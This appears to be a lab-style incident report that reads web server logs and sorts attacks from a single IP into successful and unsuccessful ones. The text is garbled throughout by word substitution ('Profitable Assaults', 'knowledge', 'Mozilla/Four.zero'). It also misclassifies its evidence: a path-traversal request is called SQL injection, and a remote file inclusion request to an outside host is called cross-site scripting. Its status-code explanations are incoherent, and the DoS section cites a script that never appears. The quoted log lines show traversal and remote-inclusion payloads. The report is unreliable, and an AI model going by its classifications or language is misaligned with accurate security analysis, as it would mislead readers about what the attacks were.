Profitable Assaults
SQL Injection
Also referred to as SQLI, it’s an assault that includes the attacker using malicious code to govern the backend database on a webserver to realize aces to data that’s not meant for show. The attacker can also apply the SQL injection vulnerabilities to bypass the net software safety measures. The SQL injection assault permits the attacker to pick out and output knowledge from the net database, alter the database, add new knowledge, delete data, and entry the working system via the database server. Primarily based on the paperwork of entry and error logs on the corporate’s server, the attacker with an IP handle 24.122.48.222 efficiently executed the SQL injection to entry the corporate knowledge. The next script can determine the SQL injection:
24.122.48.222 – – [29/Jan/2020:12:47:34 -0400] “GET /cgibin/afficheTexte.pl?web page=../../../../lab6/secret HTTP/1.1” 200 75 “-”
The script point out that the attacker, with IP handle 24.122.48.222 tried to entry the lab6 secretes, with 2XX standing code of 200 indicating a profitable HTTP request was created which contained the outcomes of the motion requested.
Cross Website Scripting
Cross-site scripting (XSS) is an online safety vulnerability that allows the attacker to ship their very own code into an online software via malicious executable scripts, akin to Flash, Java, HTML, and Ajax. Profitable cross-site scripting permits the attacker to impersonate the sufferer person and create a person account, carry out the motion that the person is ready to conduct, learn the information of the person, seize the entry credentials, and carry out the motion to trigger dysfunctions, akin to injecting trojan into the website online. The document strains that point out that the cross-site scripting was efficiently performed by the attacker, with an IP handle 24.122.48.222, embody:
24.122.48.222 – – [29/Jan/2020:13:00:59 -0400] “GET /rfi/affiche.php?var=http://cy140.lab/rien.php HTTP/1.1” 302 727 “-” “Mozilla/Four.zero (appropriate; MSIE 7.zero; Home windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.zero.50727)”
The script signifies that the request was discovered and moved to a different URL, with 302 having been outmoded by 303 indicating that the attacker was capable of momentary redirect by shifting the unique describing phrase. The Internet makes use of the 302 standing code as a distinction of a standing code that was efficiently added.
Denial-of-service (DDoS) and Malware
The attacker makes use of the malware assault, notably the drive-by assault, which includes feeding malicious script into the PHP or HTTP within the internet pages to redirect the browser of the sufferer into the management of the attacker. The deployment of the drive-by assault ends in the Denial-of-Service (DoS) because the person finds it tough to entry the service requested. The script under generated from IP handle 24.122.48.222 signifies the attacker efficiently deployed a drive-by assault to execute the DoS.

Unsuccessful Attack
File inclusion Attack
File inclusion includes the attacker accessing unauthorized or delicate information on the webserver utilizing the ‘embody’ performance. The attacker makes use of the file inclusion vulnerability on account of unhealthy enter validation mechanisms by the person, whereby the person’s enter handed to the file doesn’t embody correct validation. The attacker couldn’t execute the file inclusion vulnerability assault, which must allow him to execute a malicious code on the server or allow the server to disclose delicate information current. An instance of a failed file inclusion assault from the logs Assessment is offered under. The person of an IP handle 24.122.48.222 obtained a 404 shopper error when requesting the lab knowledge’s inclusion indicating that the request supply was not discovered.
[Wed Jan 29 12:49:55 2020] [error] [client 24.122.48.222] PHP Warning: embody(http://cy140.lab/knowledge.php) [function.include]: did not open stream: HTTP request failed! HTTP/1.1 404 Undescribedrn in /var/www/html/rfi/affiche.php on line three
The hacker created the person 192.168.2.106. Nevertheless the person was not an administrator.
